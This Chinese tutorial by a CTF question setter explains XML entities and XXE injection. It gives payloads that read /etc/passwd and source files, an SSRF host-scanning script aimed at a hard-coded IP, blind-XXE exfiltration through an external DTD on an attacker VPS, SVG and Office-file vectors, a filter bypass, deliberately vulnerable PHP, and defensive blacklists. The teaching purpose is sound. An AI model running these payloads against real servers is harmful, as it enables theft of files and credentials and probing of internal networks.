前言: 之前学过的知识了,最近碰到挺多的,给24级新生出题的时候也出了一题,感觉还是比较重要的,所以蹭着有时间整理一下知识点。
一、xml 简介 XML是一种用于存储和传输数据的语言。与HTML一样,XML使用树状的标签和数据结构。与HTML不同的是XML不使用预定义标签而是使用自定义的标签,因此可以为标签指定描述数据的名称。
XML实体 XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。XML语言规范中内置了各种实体。
XML的五种标准实体:
'
是一个撇号:'
&
是一个与字符:&
"
是一个引号:"
<
是一个小于号:<
>
是一个大于号:>
当这五个元字符出现在数据中时,通常必须使用它们的实体来表示。
文件类型定义 (DTD) DTD用于定义 XML 文档的结构以及合法元素和属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 <!--定义文档的根元素是test--> <!DOCTYPE test [ <!--定义test元素必须包含以下元素:“name、age、direction”--> <!ELEMENT test (name,age,direction)> <!--将name元素定义为“#PCDATA”类型--> <!--#PCDATA表示可解析字符数据--> <!ELEMENT name (#PCDATA)> <!--将age元素定义为“#PCDATA”类型--> <!ELEMENT age (#PCDATA)> <!--将direction元素定义为“#PCDATA”类型--> <!ELEMENT direction (#PCDATA)> ]>
DTD可以在XML文档内部声明,也可以外部引用。
1 2 3 4 5 6 <!--内部声明DTD--> <!DOCTYPE 根元素 [元素声明]> <!--外部引用DTD--> <!DOCTYPE 根元素 SYSTEM "文件名"> <!--外部引用公共DTD--> <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
XML自定义实体 XML 允许在 DTD 中定义自定义实体。(注意:自定义的实体名称中不能包含数字)
1 2 3 4 <!DOCTYPE test [ <!ENTITY tglu "TG1u" > ]>
实体的使用
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [ <!ENTITY tglu "TG1u" > ]> <test > <message > &tglu; </message > </test >
打开xml文件,可以发现&tglu;
已经被替换为TG1u了
同样的,实体可以在XML文档内部声明,也可以外部引用。
1 2 3 4 5 6 7 <!--内部声明实体--> <!ENTITY 实体名称 "value"> <!--引用外部实体--> <!--SYSTEM表示这是一个外部实体,其内容由URI指定--> <!ENTITY 实体名称 SYSTEM "URI"> <!--引用外部公共实体--> <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
XML文档结构 XML文档结构包括XML声明、DTD文档类型定义、文档元素。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" ?> <!DOCTYPE test [ <!ELEMENT test (name ,age ,direction )> <!ELEMENT name (#PCDATA )> <!ELEMENT age (#PCDATA )> <!ELEMENT direction (#PCDATA )> ]> <test > <name > TG1u</name > <age > 20</age > <direction > web</direction > </test >
XML转换为HTML 讲到了xml就碎嘴提一下xml如何转换成html展示在页面上。以上面的xml为例子有以下几种方法
使用JavaScript动态加载并解析XML文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <!DOCTYPE html > <html lang ="zh-CN" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > XML</title > <style > .xml-data { font-family : Arial, sans-serif; margin : 20px ; } .xml-data div { margin : 5px 0 ; } </style > </head > <body > <div class ="xml-data" id ="xml-container" > </div > <script > // 模拟XML数据(也可以从外部文件加载) const xmlString = `<?xml version="1.0" ?> <!DOCTYPE test [ <!ELEMENT test (name ,age ,direction )> <!ELEMENT name (#PCDATA )> <!ELEMENT age (#PCDATA )> <!ELEMENT direction (#PCDATA )> ]> <test > <name > TG1u</name > <age > 20</age > <direction > web</direction > </test > `; // 解析XML字符串 const parser = new DOMParser(); const xmlDoc = parser.parseFromString(xmlString, "application/xml"); // 获取XML数据 const name = xmlDoc.querySelector("name").textContent; const age = xmlDoc.querySelector("age").textContent; const direction = xmlDoc.querySelector("direction").textContent; // 动态生成HTML内容 const container = document.getElementById("xml-container"); container.innerHTML = ` <h1 > ${name}</h1 > <h1 > ${age}</h1 > <h1 > ${direction}</h1 > `; </script > </body > </html >
使用XSLT转换XML XSLT 是一种专门用于转换 XML 的语言,可以将 XML 直接转换为 HTML 并在浏览器中展示。
1 2 3 |----test |----1.xsl |----1.xml
创建 XSL 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:template match ="/" > <html > <head > <title > XML</title > </head > <body > <h1 > <xsl:value-of select ="test/name" /> </h1 > <h1 > <xsl:value-of select ="test/age" /> </h1 > <h1 > <xsl:value-of select ="test/direction" /> </h1 > </body > </html > </xsl:template > </xsl:stylesheet >
在 XML 中引用 XSL
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="1.xsl" ?> <!DOCTYPE test [ <!ELEMENT test (name ,age ,direction )> <!ELEMENT name (#PCDATA )> <!ELEMENT age (#PCDATA )> <!ELEMENT direction (#PCDATA )> ]> <test > <name > TG1u</name > <age > 20</age > <direction > web</direction > </test >
在本地当前目录启动web服务,访问1.xml
(用file://
的话无法加载xsl)
1 python -m http.server 2201
二、xxe注入(XML外部实体注入) 简介 XXE(XML 外部实体注入)是一种针对 XML 解析器的安全漏洞。它允许攻击者通过恶意构造的 XML 文档加载外部资源或访问系统文件,从而导致敏感信息泄露、拒绝服务攻击或其他安全问题。
XXE攻击类型 XXE文件读取 原理:通过利用本地引用外部实体
file协议读取文件 payload:
1 2 3 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [<!ENTITY tglu SYSTEM "file:///etc/passwd" > ]> <test > &tglu; </test >
PHP伪协议读取文件 payload:
1 2 3 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [<!ENTITY tglu SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" > ]> <test > &tglu; </test >
XXE执行SSRF攻击 原理:通过利用远程引用外部实体
读取内网中的文件 payload:
1 2 3 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE test [<!ENTITY tglu SYSTEM "http://x.x.x.x:2201/flag" > ]> <test > &tglu; </test >
HTTP内网主机探测 先利用file协议读取作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(以linux 为例),可以尝试读取 /etc/network/interfaces
或者 /proc/net/arp
或者/etc/host
文件。
然后直接打exp(网上找到大佬写的一个exp)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport base64def build_xml (string ): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE test [ <!ELEMENT test ANY >""" xml = xml + "\r\n" + """<!ENTITY tglu SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&tglu;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml (xml ): headers = {'Content-Type' : 'application/xml' } x = requests.post('http://34.200.157.128/xxe.php' , data=xml, headers=headers, timeout=5 ).text coded_string = x.split(' ' )[-2 ] print coded_string for i in range (1 , 255 ): try : i = str (i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except : continue
HTTP内网主机端口扫描 payload:
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE data SYSTEM "http://x.x.x.x:515/" [ <!ELEMENT data (#PCDATA )> ]> <data > 4</data >
然后用bp抓包,爆破端口。通过响应的时间的长短判断该该端口是否开放的。
Blind XXE 正常情况下,可以直接在页面上看到payload执行后的回显。但是有些时候会出现无回显的情况,这时候可以使用外带数据通道提取数据,先使用php://filter
或者file://
获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。
payload:
1 2 3 4 5 <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://<VPS_IP>:2201/shell.dtd"> %remote; ]> <!--%remote调用vps上的shell.dtd-->
在自己的vps上创建一个shell.dtd
,并且开放2201端口
1 2 3 4 5 6 7 <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1:2201/?flag=%file;'>"> %int; %send; <!--实体的值中不能有%, 所以将其转成html实体编码%--> <!--%int调用shell.dtd中的%file, %file就会去获取服务器上面的敏感文件--> <!--%send将%file获取到的结果过发送回vps-->
XInclude XXE 一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该文档。此时无法控制整个XML文档,因此无法定义或修改DOCTYPE元素。这时候就需要使用XInclude XXE来代替
payload:
1 2 <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
文件上传 XXE 一些应用程序允许用户上传文件,然后在服务器端进行处理。办公文档格式(如DOCX)和图像格式(如 SVG)。
SVG图像 使用以下内容创建本地SVG图像1.svg
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY tglu SYSTEM "要读取的文件路径" > ]> <svg height="100" width="1000"> <text x="10" y="20">&tglu;</text> </svg>
上传图片后,查看文件路径,即可在图像中看到文件的内容。
办公文档 办公文档excel、docx等其实实质上是一个zip文件,这里以excel文档为例。
先创建一个excel文件,将其后缀改为zip然后解压
在文件中的[Content-Types].xml
中写入测试payload:
1 2 3 <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY tglu SYSTEM "http://<VPS_IP>:2201/" >]> <test>&tglu;</test>
在自己vps开启监听端口2201,然后上传excel文件,如果接收到请求了说明存在漏洞。
接着在[Content-Types].xml
写入Blind XXE的payload再次上传,就可以在vps上看到执行的payload了。
修改内容类型 XXE 大多数POST请求使用由HTML表单生成的默认内容类型application/x-www-form-urlencoded
,但是有些时候网站还能接受其他内容类型,如XML。这时候我们就可以通过修改内容类型进行XXE攻击。
假设一个网站的请求为application/x-www-form-urlencoded
1 2 3 4 5 POST / HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 9 test=tg1u
此时我们修改内容类型为text/xml
1 2 3 4 5 POST / HTTP/1.0 Content-Type: text/xml Content-Length: 53 <?xml version="1.0" encoding="UTF-8"?><test>tg1u</test>
如果两种请求的结果一样,那么就说明存在XXE,那么就根据情况选择上面的payload就行。
XXE攻击的一些绕过 过滤SYSTEM,PUBLIC等关键字 用双重实体编码绕过
payload:
1 2 3 <?xml version="1.0"?> <!DOCTYPE test [<!ENTITY % xml "<!ENTITY tglu SYSTEM "file:///etc/passwd" >]> <test>       <message>&tglu;</message> </test>"> %xml;
XXE的防御 过滤用户提交的XML数据 php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function blask_Xml($xmlContent) { // 定义黑名单关键字 $blacklist = [ '/<!DOCTYPE/i', // 匹配<!DOCTYPE(不区分大小写) '/<!ENTITY/i', // 匹配<!ENTITY(不区分大小写) '/SYSTEM/i', // 匹配SYSTEM(不区分大小写) '/PUBLIC/i', // 匹配PUBLIC(不区分大小写) ]; // 遍历黑名单,检查是否包含危险内容 foreach ($blacklist as $pattern) { if (preg_match($pattern, $xmlContent)) { return false; // 包含危险关键字,返回不安全 } } return true; // 不包含危险关键字,返回安全 }
python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def black_xml (xml_content ): blacklist = [ r"<!DOCTYPE" , r"<!ENTITY" , r"SYSTEM" , r"PUBLIC" , ] for pattern in blacklist: if re.search(pattern, xml_content, re.IGNORECASE): return False return True
禁用外部实体 PHP:
1 libxml_disable_entity_loader (true );
JAVA:
1 2 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false );
Python:
1 2 from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False ))
三、例题 这道题是我出个新生的一道题,xxe主要是用来获取源码。这里就只打xxe的部分
先看一下源码(考核时没放源码,我这里放出来分析)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php libxml_disable_entity_loader(false); $xmlfile = trim(file_get_contents('php://input')); try { $dom = new DOMDocument(); if (!$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD)) { foreach (libxml_get_errors() as $error) { echo "XML Error: " . $error->message; } libxml_clear_errors(); exit("Failed to parse XML."); } $info = simplexml_import_dom($dom); if ($info === false) { exit("Failed to convert DOM to SimpleXML."); } $name = (string)$info->name; $password = (string)$info->password; if (empty($name)) { exit("Name is missing in the XML data."); } echo "Sorry, this $name is not available!"; } catch (Exception $e) { echo "Error: " . $e->getMessage(); } ?>
可以看到源码启用外部实体加载libxml_disable_entity_loader(false);
,允许解析 XML 时引用外部文件或 URL,这是 XXE 攻击的关键入口。
那么就直接抓包用bp插件active scan++
扫描
用dirsearch扫描可以发现有个admin.php
直接用他的payload读取文件,然后读取源码的时候改为php伪协议就行
后面的文件上传啥的就不在这演示了。